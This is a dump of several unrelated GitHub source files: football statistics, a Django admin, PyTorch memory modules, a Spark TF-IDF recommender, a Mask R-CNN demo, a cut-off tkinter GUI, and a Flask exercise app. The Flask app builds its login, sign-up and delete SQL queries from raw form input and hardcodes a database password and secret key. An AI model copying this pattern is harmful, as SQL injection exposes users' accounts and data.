dat]\r\nleta.pop(0)\r\nleta = leta[:68]\r\n\r\n#================================================================================================\r\nwhile True:\r\n print(\"Kaj vas zanima?\")\r\n print(\"1. Stolpični diagram zmagovalcev po klubih\")\r\n print(\"2. Stolpični diagram zmagovalcev po državah\")\r\n print(\"3. Graf število golov igralca v Ligi prvakov\")\r\n print(\"4. Rezultat finala\")\r\n print(\"5. Zaustavitev programa\")\r\n odg = input(\"Prosim vpišite število vaše izbire: \")\r\n if odg == \"1\":\r\n print(\"\\n\")\r\n bar_chart_klubi()\r\n elif odg == \"2\":\r\n print(\"\\n\")\r\n bar_chart_drzave()\r\n elif odg == \"3\":\r\n print(\"\\n\")\r\n graf_igralci()\r\n elif odg == \"4\":\r\n print(\"\\n\")\r\n print(\"Leta vseh finalnih tekem:\\n\", leta,\"\\n\")\r\n leto = input(\"Iz seznama prekopirite letnico finala npr. 2005-06: \")\r\n if leto not in leta:\r\n print(\"\\n\")\r\n print(\"Prosim vpišite leto v veljavni obliki!\")\r\n print(\"\\n\")\r\n else: \r\n print(\"\\n\")\r\n index = leta.index(leto)+1\r\n if dat[index]['Winners'][-1] == 'a':\r\n print('Leta' ,leto, 'je' ,dat[index]['Winners'], 'premagala' ,dat[index]['Runners-up'], 'z rezultatom' ,dat[index]['Score'] + '.')\r\n else:\r\n print('Leta' ,leto, 'je' ,dat[index]['Winners'], 'premagal' ,dat[index]['Runners-up'], 'z rezultatom' ,dat[index]['Score'] + '.')\r\n print(\"\\n\")\r\n elif odg == \"5\":\r\n break\r\n else:\r\n print(\"\\n\")\r\n print(\"Vpišite število 1, 2, 3, 4, 5 ali 6!\")\r\n print(\"\\n\")","repo_name":"epodbreg/Projekt-programiranje2","sub_path":"UEFA_analiza.py","file_name":"UEFA_analiza.py","file_ext":"py","file_size_in_byte":7913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39355366703","text":"from django.contrib import admin\n\nfrom .models import URL\n\n\nclass URLAdmin(admin.ModelAdmin):\n \"\"\"Отображение объектов модели URL\"\"\"\n list_display = (\n 'pk',\n 'full_url',\n 'short_url',\n 'user'\n\n )\n\n\nadmin.site.register(URL, URLAdmin)\n","repo_name":"buschwaker/ikswan","sub_path":"url_short/service/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13060858630","text":"\"\"\"\nA collection of value-based memory.\nNote: all memories must be reset before use.\n\"\"\"\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom mannbaselines.utils import *\n\n\nclass ValueMemory(nn.Module):\n \"\"\"\n Canonial value-based memory.\n used by MANN(http://proceedings.mlr.press/v48/santoro16.pdf)\n \"\"\"\n\n def __init__(self, mem_size, value_size, batch_size):\n super(ValueMemory, self).__init__()\n self.mem_size = mem_size\n self.value_size = value_size\n self.batch_size = batch_size\n\n # Mem create and init\n self.register_buffer('memory', torch.FloatTensor(self.batch_size, self.mem_size, self.value_size))\n\n @property\n def shape(self, with_batch_dim=False):\n if with_batch_dim:\n return self.batch_size, self.mem_size, self.value_size\n else:\n return self.mem_size, self.value_size\n\n def reset(self):\n stdev = 1 / (np.sqrt(self.mem_size + self.value_size))\n self.memory = self.memory.detach()\n nn.init.uniform_(self.memory, -stdev, stdev)\n\n def similarity(self, v, topk=-1):\n \"\"\"\n TODO: topk + sparse matrix product\n :output similarity: shape (B, self.mem_size)\n The output should be treated unnormalized.\n\n :param v: shape (B, self.value_size)\n \"\"\"\n B = v.size(0)\n sim = F.cosine_similarity(self.memory[:B] + LOG_EPS, v.unsqueeze(1) + LOG_EPS, dim=-1)\n if topk != -1:\n # Zero-out the non-topk\n ind = torch.topk(sim, self.mem_size - topk, dim=-1, largest=False)[1]\n sim.scatter_(1, ind, 0)\n return sim\n\n def clear(self, w):\n \"\"\"\n TODO: how can we make the cleared item detached from the previous comp graph?\n :param w: shape (B, self.mem_size) should be mulit-hot tensor (0 or 1)\n \"\"\"\n assert ((w == 0) + (w == 1)).all()\n B = w.size(0)\n self.prev_memory = self.memory\n self.memory = self.prev_memory.clone()\n self.memory[:B] = self.prev_memory[:B] * w.unsqueeze(-1)\n\n def write(self, w, v, clear_before_write=False):\n \"\"\"\n :param w: shape (B, self.mem_size)\n :param v: shape (B, self.value_size)\n \"\"\"\n B = w.size(0)\n if clear_before_write:\n self.clear(w)\n write_v = torch.matmul(w.unsqueeze(-1), v.unsqueeze(1))\n self.prev_memory = self.memory\n self.memory = self.prev_memory.clone()\n self.memory[:B] = self.prev_memory[:B] + write_v\n\n def read(self, w):\n \"\"\"\n :output read value: shape (B, self.value_size)\n\n :param w: shape (B, self.mem_size)\n \"\"\"\n B = w.size(0)\n return torch.matmul(w.unsqueeze(1), self.memory[:B]).squeeze(1)\n\n\nclass NTMMemory(ValueMemory):\n \"\"\"ValueMemory with:\n\n -add/del-based write\n used by NTM\n \"\"\"\n def write(self, w, add_v, del_v):\n \"\"\"\n :param w: shape (B, self.mem_size)\n :param add_v: shape (B, self.value_size)\n :param del_v: shape (B, self.value_size)\n \"\"\"\n B = w.size(0)\n write_add_v = torch.matmul(w.unsqueeze(-1), add_v.unsqueeze(1))\n write_del_v = torch.matmul(w.unsqueeze(-1), del_v.unsqueeze(1))\n self.prev_memory = self.memory\n self.memory = self.prev_memory.clone()\n self.memory[:B] = self.prev_memory[:B] * (1 - write_del_v) + write_add_v\n\n\nclass AppendingMemory(ValueMemory):\n \"\"\"ValueMemory with:\n\n -appending-based write\n -overwrite the least recently r/w entry\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(AppendingMemory, self).__init__(*args, **kwargs)\n self.gamma = 0.9\n self.register_buffer('mem_usage', torch.FloatTensor(self.batch_size, self.mem_size).fill_(0))\n\n def read(self, w):\n \"\"\"\n :output read value: shape (B, self.value_size)\n\n :param w: shape (B, self.mem_size)\n \"\"\"\n B = w.size(0)\n self.mem_usage[:B] *= self.gamma\n self.mem_usage[:B] += w.detach()\n return super(AppendingMemory, self).read(w)\n\n def write(self, w, v, clear_before_write=False):\n \"\"\"\n :param w: shape (B, self.mem_size)\n :param v: shape (B, self.value_size)\n \"\"\"\n B = w.size(0)\n self.mem_usage[:B] *= self.gamma\n self.mem_usage[:B] += w.detach()\n super(AppendingMemory, self).write(w, v, clear_before_write=clear_before_write)\n\n def write_least_used(self, v):\n \"\"\"\n :output: weight for least-used overwriting shape (B, self.mem_size)\n\n :param v: shape (B, self.value_size)\n \"\"\"\n B = v.size(0)\n ind = torch.topk(self.mem_usage[:B], 1, -1, largest=False)[1]\n w = torch.zeros(B, self.mem_size).to(v)\n w.scatter_(1, ind, 1)\n self.write(w, v, clear_before_write=True)\n return w\n\n\nclass MERLINMemory(ValueMemory):\n \"\"\"ValueMemory with:\n\n -usage counting during reading (for overwritting)\n used by RLMEM, MERLIN\n\n Note: we use replace-based write here, which is slightly different from\n the original paper(https://arxiv.org/pdf/1803.10760.pdf).\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(MERLINMemory, self).__init__(*args, **kwargs)\n self.register_buffer('mem_usage', torch.FloatTensor(self.batch_size, self.mem_size).fill_(0))\n\n def read(self, w):\n \"\"\"\n :output read value: shape (B, self.value_size)\n\n :param w: shape (B, self.mem_size)\n \"\"\"\n B = w.size(0)\n self.mem_usage[:B] += w.detach()\n return super(MERLINMemory, self).read(w)\n\n def write_least_used(self, v):\n \"\"\"\n :output: weight for least-used overwriting shape (B, self.mem_size)\n\n :param v: shape (B, self.value_size)\n \"\"\"\n B = v.size(0)\n ind = torch.topk(self.mem_usage[:B], 1, -1, largest=False)[1]\n w = torch.zeros(B, self.mem_size).to(v)\n w.scatter_(1, ind, 1)\n self.write(w, v, clear_before_write=True)\n return w\n\n\nclass DNCMemory(NTMMemory):\n \"\"\"NTMMemory with:\n\n -learnable allocation\n used by DNC\n \"\"\"\n pass\n\n\nclass RTSMemory(AppendingMemory):\n \"\"\"MERLINMemory with:\n\n -all-reduce read\n used by RTS\n \"\"\"\n def read(self):\n \"\"\"\n :output read value: shape (self.batch_size, self.mem_size, self.value_size)\n \"\"\"\n return self.memory\n","repo_name":"jeasinema/MANN-baselines","sub_path":"mannbaselines/memory/value_memory.py","file_name":"value_memory.py","file_ext":"py","file_size_in_byte":6496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28854346366","text":"from flask import Flask, render_template, request, session, redirect\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport re\r\nfrom datetime import date, timedelta, datetime\r\nimport os\r\nfrom selenium import webdriver\r\nimport pymysql\r\nfrom konlpy.tag import Kkma\r\nimport base64\r\n\r\napp = Flask(__name__, template_folder ='templates', static_folder='static')\r\napp.dev = 'development'\r\napp.debug = True\r\napp.secret_key = 'klsadjfklsdalfshdkfhlkdsfjlkasfsdafhdfssdfh'\r\nkkma = Kkma()\r\n\r\ndb = pymysql.connect(\r\n user='root',\r\n passwd='abcd123',\r\n host='localhost',\r\n db='membership',\r\n charset='utf8',\r\n cursorclass=pymysql.cursors.DictCursor\r\n)\r\n\r\ndef get_menu():\r\n cursor = db.cursor()\r\n cursor.execute(\"SELECT id, title FROM topic order by title desc\")\r\n return cursor.fetchall()\r\n\r\n@app.route('/')\r\ndef index():\r\n# def generate_menu():\r\n cursor = db.cursor()\r\n cursor.execute(\"SELECT id, title FROM topic order by title desc\")\r\n # menu = [f\"
  • {e['title']}
  • \" for e in cursor.fetchall()]\r\n # return '\\n'.join(menu)\r\n return render_template('index.html',\r\n menu=cursor.fetchall(),\r\n user=session.get('user'))\r\n\r\n# session을 활용하여 로그인 기능을 구현한다. \r\n# index 페이지 \r\n# 로그인이 안되어있을 때에는 로그인, 회원가입 링크를 보여주고,\r\n# 로그인이 되어있을 때에는 로그아웃, 회원탈퇴 링크를 보여준다.\r\n# 회원로그인 /login, 회원로그아웃 /logout \r\n# 회원가입 /join, 회원탈퇴 /withdrawal\r\n\r\n@app.route('/login', methods=['get','post'])\r\ndef login():\r\n if request.method == 'GET':\r\n return render_template('login.html')\r\n\r\n cursor = db.cursor()\r\n cursor.execute(f\"\"\"\r\n select id, profile, pw from membership_list\r\n where id = '{ request.form['userid'] }' and\r\n pw = SHA2('{ request.form['password'] }', 256)\r\n \"\"\") \r\n user = cursor.fetchone()\r\n if user:\r\n session['user'] = user\r\n # session['user'] = {'name': 'sookbun', 'profile':'engineer'}\r\n return redirect('/')\r\n else:\r\n return render_template('login.html', msg=\"로그인 정보를 확인하세요.\")\r\n\r\n@app.route('/logout', methods=['get','post'])\r\ndef logout():\r\n session.pop('user')\r\n return redirect('/')\r\n\r\n@app.route('/join', methods=['get','post'])\r\ndef join():\r\n if request.method == 'GET':\r\n return render_template('join.html')\r\n\r\n cursor = db.cursor()\r\n cursor.execute(f\"insert into membership_list values('{request.form['userid']}', '{request.form['profile']}', sha2('{request.form['password']}',256))\") \r\n db.commit()\r\n\r\n return redirect('/login')\r\n\r\n\r\n@app.route('/withdrawal')\r\ndef withdrawal():\r\n\r\n cursor = db.cursor()\r\n user = session.pop('user',None)\r\n cursor.execute(f\"delete from membership_list where id = '{user['id']}'\") \r\n db.commit()\r\n\r\n return redirect('/')\r\n\r\n# /news/ranking \r\n# 다음 랭킝 뉴스 크롤링 - https://media.daum.net/ranking/\r\n# 날짜를 입력받는 폼을 보여주고, 날짜를 입력하고 버튼을 클릭하면 해당 날짜의 뉴스 랭킹 리스트를 보여준다. \r\n# 뉴스의 리스트 url은 다음과 같이 한다. \"/news/words?url=<해당뉴스의 url>\"\r\n\r\n@app.route('/news/ranking', methods=['get','post'])\r\ndef news_ranking():\r\n if request.method == \"GET\":\r\n return render_template(\"news_ranking.html\")\r\n \r\n url = \"https://media.daum.net/ranking/?regDate=\"\r\n date = request.form.get('date')\r\n # date = date.strftime('%Y%m%d')\r\n rq_url = url+date\r\n res = requests.get(rq_url)\r\n links = [(tag.strong.a.get_text(),tag.strong.a.get('href')) for tag in BeautifulSoup(res.content, 'html.parser').select('#mArticle div.cont_thumb')]\r\n\r\n return render_template('news_ranking.html',links=links)\r\n\r\n# /news/words?url=<해당뉴스의 url>\r\n# 다음 뉴스 크롤링 - 컨텐츠 단어 랭킹 추출\r\n# 뉴스의 컨텐츠를 읽어서 단어 카운트를 하고, 정렬하여 보여준다.\r\n\r\n@app.route('/news/words')\r\ndef news_word():\r\n url = request.args.get('url')\r\n \r\n res = requests.get(url)\r\n texts = [tag.get_text() for tag in BeautifulSoup(res.content, 'html.parser').select('#harmonyContainer')]\r\n texts = ' '.join(texts)\r\n texts = kkma.pos(texts)\r\n texts = [w for w in texts if w[1] in ['NNG', 'NNP']]\r\n texts =[(w, texts.count(w)) for w in set(texts)]\r\n texts = sorted(texts, key=lambda x: x[1], reverse=True)\r\n\r\n return render_template('news_ranking.html',texts=texts)\r\n\r\n\r\n# /downloads/<검색어>\r\n# 다음 구글 이미지 크롤링\r\n# 키워드로 검색된 구글 이미지를 디렉토리에 다운로드한다.\r\n# url로 불러오는 경우와 바이너리가 직접 들어있는 경우 모두 다운로드한다.\r\n\r\n@app.route('/download/')\r\ndef download(keyword):\r\n\r\n options = webdriver.ChromeOptions()\r\n options.add_argument('--headless')\r\n options.add_argument('--no-sandbox')\r\n options.add_argument('--disable-dev-shm-usage')\r\n\r\n driver=webdriver.Chrome('chromedriver',options=options)\r\n driver.implicitly_wait(3)\r\n\r\n url = f\"https://www.google.com/search?q={keyword}&tbm=isch\"\r\n\r\n driver.get(url)\r\n soup = BeautifulSoup(driver.page_source, 'html.parser')\r\n\r\n img_links = []\r\n for i in soup.select('img.rg_i'):\r\n try:\r\n img_links.append(i.attrs['src'])\r\n except KeyError:\r\n img_links.append(i.attrs['data-src'])\r\n\r\n # create directory\r\n os.makedirs(f'static/download/{keyword}', exist_ok=True)\r\n\r\n # Download\r\n for i, link in enumerate(img_links):\r\n if link[:4] == \"data\" :\r\n link=base64.b64decode(link.split(',')[1])\r\n with open(f'static/download/{keyword}/{i}.jpg', 'wb') as f:\r\n f.write(link)\r\n else:\r\n res = requests.get(link)\r\n with open(f'static/download/{keyword}/{i}.jpg', 'wb') as f:\r\n f.write(res.content)\r\n\r\n return render_template('download.html',img_links=img_links)\r\n\r\n# (옵션)\r\n# 다음 랭킹 뉴스 페이지(https://media.daum.net/ranking/)의\r\n# 하위 탭 메뉴와 페이지들을 확인하고, 크롤링을 통해 \r\n# 유용한 기능을 파트너와 함께 자유롭게 기획하여 추가해 봅시다.\r\n\r\n@app.route('/news/ranking/age', methods=['get','post'])\r\ndef news_ranking_age():\r\n if request.method == \"GET\":\r\n return render_template(\"news_ranking_age.html\")\r\n \r\n url = \"https://media.daum.net/ranking/age/?regDate=\"\r\n date = request.form.get('date')\r\n # date = date.strftime('%Y%m%d')\r\n rq_url = url+date\r\n res = requests.get(rq_url)\r\n links = [(tag.a.get_text(),tag.a.get('href')) for tag in BeautifulSoup(res.content, 'html.parser').select('.item_20s .rank_female .list_age li')]\r\n\r\n return render_template('news_ranking_age.html',links=links)\r\n\r\napp.run()","repo_name":"hodragon5237/kt_20200518_team8","sub_path":"web/day9.py","file_name":"day9.py","file_ext":"py","file_size_in_byte":6955,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8468813520","text":"import sys\nfrom pyspark import SparkContext\nimport time\nimport json\nimport re\nimport math\nfrom collections import defaultdict\n\n\ntickTime = time.time()\nsc = SparkContext()\ntickTime = time.time()\n\n#local files\n# input_file = \"data/HW3/train_review.json\"\n# output_file = \"data/HW3/task2_output.json\"\n# stopwords_file = \"data/HW3/stopwords\"\n\n#sys args\ninput_file, output_file, stopwords_file = sys.argv[1:]\n\n#constants\nBUSINESS_ID = \"business_id\"\nUSER_ID = \"user_id\"\nREVIEW=\"text\"\nFEATURES=\"features\"\n\ndef termFrequency(wordslist):\n\n freq_count = defaultdict(int)\n termFrequency = list()\n\n # calculate freq of each word\n for w in wordslist:\n freq_count[w] += 1\n\n #find TF of each word\n max_freq = max(freq_count.values())\n for w, count in freq_count.items():\n termFrequency.append([w, count/max_freq])\n\n return termFrequency\n\n\n\ndef wordList(review_text, stopwords):\n\n rev_text = re.sub(r'[^\\w\\s]', ' ', review_text)\n rev_text = ''.join(ch for ch in rev_text if not ch.isdigit())\n list = rev_text.split()\n cleaned_list = [w for w in list if w not in stopwords]\n return cleaned_list\n\ndef sortList(list):\n\tlist.sort(key=lambda kv: -kv[1])\n\treturn list\n\ntickTime = time.time()\n\n#read files\nstopwords=list()\nwith open(stopwords_file,\"r\") as stopwords_f:\n stopwords = [row.strip() for row in stopwords_f]\n\n\nreview_data = sc.textFile(input_file).map(lambda l: json.loads(l))\nRDD = review_data.map(lambda l: (l[USER_ID], l[BUSINESS_ID], l[REVIEW]))\nbusinesses = RDD.map(lambda l: l[1]).distinct().collect()\nn_B = len(businesses)\n\n# generate rdd with [business -> word list for all reviews]\nbussiness_rwords = RDD.map(lambda l: (l[1], l[2].lower())).map(lambda l: (l[0], wordList(l[1], stopwords))).groupByKey().map(lambda kv: (kv[0], [w for list in kv[1] for w in list]))\n\n# Term Frequency (TF)\n# (business, [(word,count)]) // (business, (word,count)) //(word, (business, count))\ntf_rdd = bussiness_rwords.mapValues(lambda v: termFrequency(v)).flatMap(lambda kv: [(kv[0], list) for list in kv[1]]).map(lambda x:(x[1][0], (x[0], x[1][1])))\n\n# Inverse document frequency (IDF)\n# (business, [(word,count)]) // [(word,business)] // (word, [business]) // (word, idf)\nidf_rdd = bussiness_rwords.flatMap(lambda kv: [(w, kv[0]) for w in kv[1]]).groupByKey().mapValues(lambda v: math.log2(n_B/len(set(v))))\n\n# (word, ((business, tf), idf)) every word repeats for every business. // (business, (word, tf.idf)) // (business, [(word, tf.idf)]) // (business, [(word,tf.idf)]) top 200\ntf_idf_rdd = tf_rdd.join(idf_rdd).map(lambda kkv: (kkv[1][0][0], (kkv[0], kkv[1][1] * kkv[1][0][1]))).groupByKey().map(lambda kv: (kv[0], [list for list in sortList(list(kv[1]))[:200]]))\n\n\n# indexing of top all top rated words.\nwords_map = dict()\nwordsList = tf_idf_rdd.flatMap(lambda kv: [kv[0] for kv in kv[1]]).distinct().collect()\n\nfor w in range(0,len(wordsList)):\n\twords_map[wordsList[w]] = w\n\n# business profile (business, [(word_id, tf.idf)])\nprofile_business = tf_idf_rdd.map(lambda kv:(kv[0], [(words_map[list[0]], list[1]) for list in kv[1]])).collect()\n\n# convert profile_business to Map\nbusiness_profile_map = dict()\nfor item in profile_business:\n\t\tbusiness_profile_map[item[0]] = item[1]\n\n# create user profiles\n\n#(user,business) // (user, [business]) // (user, [unique_business]) // (user, [ for each bsuiness [(word_id,tf.idf)]]) // (user, (word_id, tf.idf))\nuser_profile = RDD.map(lambda i: (i[0],i[1])).groupByKey().map(lambda kv: (kv[0], [b for b in set(kv[1])])).map(lambda kv: (kv[0], [business_profile_map[b] for b in kv[1]])).map(lambda kv: (kv[0], list(set([w for list in kv[1] for w in list])))).map(lambda kv: (kv[0], [list[0] for list in sortList(kv[1])[:500]])).collect()\n\nwith open(output_file, 'w+') as f:\n\t\tfor row in profile_business:\n\t\t\tf.write(json.dumps({BUSINESS_ID: row[0], FEATURES : [list[0] for list in row[1]]}) + '\\n')\n\t\tfor row in user_profile:\n\t\t\tf.write(json.dumps({USER_ID: row[0], FEATURES: row[1]}) + '\\n')\n\ntockTime = time.time()\nprint(\"Duration: \", tockTime-tickTime)\n\n","repo_name":"ankitagupta820/Data-Minning-using-Yelp-Dataset","sub_path":"Recommendation-Models/src/task2train.py","file_name":"task2train.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32798477517","text":"from fastapi import HTTPException, status\nfrom sqlalchemy.orm.session import Session\nfrom app.blog.models import Post, Votes\nfrom sqlalchemy import update, desc, func\nfrom custom_functions import image_editor\n\nfrom custom_functions.query import dynamic_update\nfrom settings.s3_storage import S3Storage\n\ndef create_post(db: Session, request, image, current_user):\n if image:\n filename = image_editor.img_file_name_generator(image)\n request.image_url = S3Storage.upload_image(image, filename)\n\n # post = Post(\n # title = request.title,\n # content = request.content,\n # author_id = request.author_id\n # )\n post = Post(**request.dict())\n post.author_id = current_user.id\n # print(request.dict())\n db.add(post)\n db.commit()\n db.refresh(post)\n return post\n\n\ndef get_posts(db: Session, limit, skip, search):\n results = db.query(\n Post, func.count(Votes.post_id).label(\"votes\")\n ).join(\n Votes, Votes.post_id == Post.id, isouter=True\n ).group_by(Post.id).filter(\n Post.title.contains(search)\n ).order_by(desc(Post.created_at)).limit(limit).offset(skip).all()\n\n # post = db.query(Post).filter(Post.title.contains(search)).order_by(desc(Post.created_at)).limit(limit).offset(skip).all()\n\n return results\n\n\ndef get_post(db: Session, id):\n return db.query(\n Post, func.count(Votes.post_id).label(\"votes\")\n ).join(\n Votes, Votes.post_id == Post.id, isouter=True\n ).group_by(Post.id).filter(Post.id == id).first()\n\n\ndef update_post(db: Session, id, request, image, current_user):\n post = db.query(Post).filter(Post.id == id).first()\n\n if not post:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=f'Post with id {id} not found.')\n\n if post.author_id != current_user.id:\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=f'You cannot update any post you did not authored.')\n\n if image:\n filename = image_editor.img_file_name_generator(image)\n request.image_url = S3Storage.upload_image(image, filename)\n\n if request.remove_image:\n request.image_url = None\n\n dynamic_update(db, post, request)\n\n db.refresh(post)\n\n return post\n\n\ndef delete_post(db: Session, id, current_user):\n post = db.query(Post).filter(Post.id == id).first()\n\n if not post:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=f'Post with id {id} not found.')\n\n if post.author_id != current_user.id:\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=f'You cannot delete a post you did not authored.')\n\n db.delete(post)\n db.commit()\n\n return {\n 'message':'The post has been successfully deleted.'\n }\n\n\ndef vote(db: Session, id, current_user):\n post = db.query(Post).filter(Post.id==id).first()\n\n if not post:\n raise HTTPException(status_code=status.HTTP_409_CONFLICT, detail=f'Post does not exist.')\n\n vote = db.query(Votes).filter(Votes.post_id == id, Votes.user_id == current_user.id).first()\n\n if not vote:\n vote = Votes(\n post_id = id,\n user_id = current_user.id\n )\n\n db.add(vote)\n db.commit()\n\n return {\n \"message\":f\"You casted a voted in a post with an id of {post.id}.\"\n }\n\n else:\n\n if vote.user_id != current_user.id:\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=f'You are not allowed to unvote on this post.')\n\n db.delete(vote)\n db.commit()\n\n return {\n \"message\":f\"You uncast your vote in a post with an id of {post.id}.\"\n }\n","repo_name":"Team-Jetz/fastapi-boilerplate","sub_path":"app/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"27428358047","text":"import os\nimport skimage.io\nfrom mrcnn import utils\nimport mrcnn.model as modellib\nfrom mrcnn import visualize\nfrom maskrcnn import coco\nimport cv2\n\n\nclass InferenceConfig(coco.CocoConfig):\n GPU_COUNT = 1\n IMAGES_PER_GPU = 1\n\n\ndef get_model(weights_path: str) -> object:\n \"\"\"\n WICHTIG: Voraussetzung ist Tensorflow 1.14\n WICHTIG: Voraussetung ist masterport mask-rcnn\n -> pip install mask-rcnn-12rics\n :param weights_path: Pfad zu dem vortrainierten model\n :return: model\n \"\"\"\n model_dir = os.path.abspath('./logs')\n coco_model = modellib.MaskRCNN(mode=\"inference\", model_dir=model_dir, config=config)\n coco_model.load_weights(weights_path, by_name=True)\n return coco_model\n\n\ndef print_classnames(annotations_path: str):\n \"\"\"\n Wichtig: Voraussetzung sind genau die (keine anderen!) ms coco annotations\n 2014 Train/Val annotations [241MB]\n http://cocodataset.org/#download\n :param annotations_path: Pfad zu dem Verzeichnis, in dem die annotations liegen\n :return:\n \"\"\"\n dataset = coco.CocoDataset()\n dataset.load_coco(annotations_path, \"train\")\n dataset.prepare()\n print(dataset.class_names)\n\n\ndef get_classnames() -> list:\n return ['BG', 'person', 'bicycle', 'car', 'motorcycle', 'airplane',\n 'bus', 'train', 'truck', 'boat', 'traffic light',\n 'fire hydrant', 'stop sign', 'parking meter', 'bench', 'bird',\n 'cat', 'dog', 'horse', 'sheep', 'cow', 'elephant', 'bear',\n 'zebra', 'giraffe', 'backpack', 'umbrella', 'handbag', 'tie',\n 'suitcase', 'frisbee', 'skis', 'snowboard', 'sports ball',\n 'kite', 'baseball bat', 'baseball glove', 'skateboard',\n 'surfboard', 'tennis racket', 'bottle', 'wine glass', 'cup',\n 'fork', 'knife', 'spoon', 'bowl', 'banana', 'apple',\n 'sandwich', 'orange', 'broccoli', 'carrot', 'hot dog', 'pizza',\n 'donut', 'cake', 'chair', 'couch', 'potted plant', 'bed',\n 'dining table', 'toilet', 'tv', 'laptop', 'mouse', 'remote',\n 'keyboard', 'cell phone', 'microwave', 'oven', 'toaster',\n 'sink', 'refrigerator', 'book', 'clock', 'vase', 'scissors',\n 'teddy bear', 'hair drier', 'toothbrush']\n\n\ndef download_coco_model_if_needed():\n if not os.path.exists(WEIGHTS_PATH):\n utils.download_trained_weights(WEIGHTS_PATH)\n\n\ndef getBboxes(imagepath):\n im = cv2.imread(imagepath)\n results = model.detect([image], verbose=0)\n r = results[0]\n # extract ids and bboxes for riders\n rois = r['rois']\n ids = []\n bbox = []\n counter = -1\n #filter boxes to only detect horse and person\n for i in r['class_ids']:\n counter += 1\n if i == get_classnames().index('horse') or i == get_classnames().index('person'):\n ids.append(i)\n bbox.append(rois[counter])\n # cut pictures here\n drawBox(imagepath,bbox)\n return ids, bbox\n\n\ndef drawBox(image, bbox):\n im = cv2.imread(image)\n for b in bbox:\n y1=b[0]\n x1=b[1]\n y2=b[2]\n x2=b[3]\n\n\n\n im[y1:y2, x1:x1+5] = (0, 0, 0)\n im[y1:y2, x2:x2 + 5] = (0, 0, 0)\n im[y1:y1+5, x1:x2] = (0, 0, 0)\n im[y2:y2 + 5, x1:x2] = (0, 0, 0)\n im = cv2.resize(im,None,fx=0.3,fy=0.3)\n cv2.imshow('title', im)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\nANNOTATIONS_PATH = os.path.abspath('./coco')\n# IMAGE_PATH = os.path.abspath('./pferde_bilder/00019.png')\nIMAGE_PATH = \"D:\\\\Programming\\\\rimondo_frames\\\\GOPR8291\\\\00167.png\"\nWEIGHTS_PATH = os.path.abspath('mask_rcnn_coco.h5')\n\n# download_coco_model_if_needed()\n\nconfig = InferenceConfig()\n# config.display()\nmodel = get_model(WEIGHTS_PATH)\n# print_classnames(ANNOTATIONS_PATH)\nclassnames = get_classnames()\n\nimage = cv2.imread(IMAGE_PATH)\nresults = model.detect([image], verbose=0)\n\n# Visualize results\nr = results[0]\n\ngetBboxes(IMAGE_PATH)\n# visualize.display_instances(image, r['rois'], r['masks'], r['class_ids'], classnames, r['scores'])\n","repo_name":"markus-webcom/smart-camera-operator","sub_path":"maskrcnn/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":4003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41419981411","text":"import tkinter as tk\nfrom tkinter import *\nfrom tkinter import ttk\n\n\ndef get_values(fromairport, toairport, depdate, retdate, email, mobile):\n global from_airport\n # Flight details\n from_airport = fromairport.get()\n to_airport = toairport.get()\n departure_date = depdate.get()\n return_date = retdate.get()\n\n # Email details\n to_email = email.get()\n\n # SMS details\n to_sms = mobile.get()\n\n # One way\n # one_way = oneway_checkbox.get()\n\n\n# Create window\nwindow = Tk()\n# Title of window app\nwindow.title('Flight Scrapper')\nwindow.configure(background='black')\n\n# Title of app\ngreeting = tk.Label(text=\"Find the best flight tickets for your upcoming holidays!\", bg='black', fg='white',\n font=(\"Helvetica\", 16))\ngreeting.grid(row=0, column=0)\n\n# One way widget\noneway_checkbox = Checkbutton(window, text=\"One Way\", variable=IntVar(), bg='black', fg='white', )\noneway_checkbox.grid(row=2, column=0, sticky=W, columnspan=3)\n\n# Number of stops widget\nlabel_stops = tk.Label(text=\"Stops\", font=(\"Helvetica\", 9), bg='black', fg='white')\nlabel_stops.grid(row=2, column=0, sticky=W, columnspan=3)\nstops_combo = ttk.Combobox(window, values=[\"0\", \"1\", \"2\"], width=3)\nstops_combo.grid(row=2, column=0, sticky=W, columnspan=3)\n\n# Flexible or exact search\nlabel_flex = tk.Label(text='Search Type', font=(\"Helvetica\", 9), bg='black', fg='white')\nlabel_flex.grid(row=2, column=0, sticky=W, columnspan=3)\nflex = ttk.Combobox(window, values=['exact', '1 day before', '1 day after', '+-2', '+-3'], width=5)\nflex.grid(row=2, column=0, sticky=W, columnspan=3)\n\n# From airport widget\nlabel_fromairport = tk.Label(text=\"From:\", font=(\"Helvetica\", 10), bg='black', fg='white')\nlabel_fromairport.grid(row=3, column=0, sticky=W)\nfromairport = Entry(window, width=20)\nfromairport.grid(row=3, column=1, sticky=W)\n\n# To airport widget\nlabel_toairport = tk.Label(text=\"To:\", font=(\"Helvetica\", 10), bg='black', fg='white')\nlabel_toairport.grid(row=4, column=0, sticky=W)\ntoairport = Entry(window, width=20)\ntoairport.grid(row=4, column=1, sticky=W)\n\n# Departure date widget\nlabel_depdate = tk.Label(text=\"Depart Date:\", font=(\"Helvetica\", 10), bg='black', fg='white')\nlabel_depdate.grid(row=5, column=0, 